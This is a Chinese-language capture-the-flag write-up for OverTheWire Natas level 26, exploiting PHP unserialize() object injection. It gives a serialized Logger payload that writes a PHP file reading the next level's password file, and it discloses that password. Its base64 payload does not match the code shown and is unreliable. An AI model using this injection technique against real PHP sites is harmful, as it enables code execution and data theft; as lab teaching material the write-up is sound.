Overthewire level 26 to level 27
点进页面发现它让我们画两条线,直接看源码
<?php
// sry, this is ugly as hell.
// cheers kaliman ;)
// - morla
class Logger{
private $logFile;
private $initMsg;
private $exitMsg;
function __construct($file){
// initialise variables
$this->initMsg="#--session started--#\n";
$this->exitMsg="#--session end--#\n";
$this->logFile = "/tmp/natas26_" . $file . ".log";
// write initial message
$fd=fopen($this->logFile,"a+");
fwrite($fd,$initMsg);
fclose($fd);
}
function log($msg){
$fd=fopen($this->logFile,"a+");
fwrite($fd,$msg."\n");
fclose($fd);
}
function __destruct(){
// write exit message
$fd=fopen($this->logFile,"a+");
fwrite($fd,$this->exitMsg);
fclose($fd);
}
}
function showImage($filename){
if(file_exists($filename))
echo "<img src=\"$filename\">";
}
function drawImage($filename){
$img=imagecreatetruecolor(400,300);
drawFromUserdata($img);
imagepng($img,$filename);
imagedestroy($img);
}
function drawFromUserdata($img){
if( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
$color=imagecolorallocate($img,0xff,0x12,0x1c);
imageline($img,$_GET["x1"], $_GET["y1"],
$_GET["x2"], $_GET["y2"], $color);
}
if (array_key_exists("drawing", $_COOKIE)){
$drawing=unserialize(base64_decode($_COOKIE["drawing"]));
if($drawing)
foreach($drawing as $object)
if( array_key_exists("x1", $object) &&
array_key_exists("y1", $object) &&
array_key_exists("x2", $object) &&
array_key_exists("y2", $object)){
$color=imagecolorallocate($img,0xff,0x12,0x1c);
imageline($img,$object["x1"],$object["y1"],
$object["x2"] ,$object["y2"] ,$color);
}
}
}
function storeData(){
$new_object=array();
if(array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
$new_object["x1"]=$_GET["x1"];
$new_object["y1"]=$_GET["y1"];
$new_object["x2"]=$_GET["x2"];
$new_object["y2"]=$_GET["y2"];
}
if (array_key_exists("drawing", $_COOKIE)){
$drawing=unserialize(base64_decode($_COOKIE["drawing"]));
}
else{
// create new array
$drawing=array();
}
$drawing[]=$new_object;
setcookie("drawing",base64_encode(serialize($drawing)));
}
?>
阅读一遍源码,这是一个获取两点坐标画线的代码,其主要的流程为
<?php
session_start();
if (array_key_exists("drawing", $_COOKIE) ||
( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET))){
$imgfile="img/natas26_" . session_id() .".png";
drawImage($imgfile);
showImage($imgfile);
storeData();
}
?>
其中,我们发现在storeData
的时候调用了函数unserialize()
。该函数有个漏洞就是当它在反序列化的时候如果是一个类对象,并且该类对象定义了__destruct()
方法, 那么它会在反序列化时自动去调用这个方法。在该题中,它会从cookie的drawing
中去获取要反序列化的值,并且源码提供了一个Logger对象来往$logFile
中写入了exitMsg
信息。到这里攻击的思路就非常明显了,我们需要自定义一个drawing
的值使得它反序列化成一个Logger对象,并且让它调用__destruct()时写入下一关的密码
攻击代码如下,先构造一个Logger的序列化信息
class Logger {
private $logFile;
private $initMsg;
private $exitMsg;
function __construct($file){
$this->initMsg="";
$this->exitMsg="<?php echo file_get_contents('/etc/natas_webpass/natas27'); ?>";
$this->logFile = "img/wudiiv11.php";
}
}
echo base64_encode(serialize(new Logger("aaa")));
?>
随便在网上找个在线php编辑器运行这段代码,得到drawing的值Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czowOiIiO3M6MTU6IgBMb2dnZXIAaW5pdE1zZyI7czo2MjoiPD9waHAgZWNobyBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9uYXRhc193ZWJwYXNzL25hdGFzMjcnKTsgPz4iO3M6MTU6IgBMb2dnZXIAZXhpdE1zZyI7czoxNjoiaW1nL3d1ZGlpdjE0LnBocCI7fQ==
, 放入drawing中,访问http://natas26.natas.labs.overthewire.org/img/wudiiv11.php
即可得到密码
在做这道题的时候有几个小坑要注意一下。一是构造函数必须要匹配,不然反序列化会失败,另外logFile不能是/img/wudiiv11.php
, 否则就不是从当前目录而是从系统根目录开始了。
第27关的密码为55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ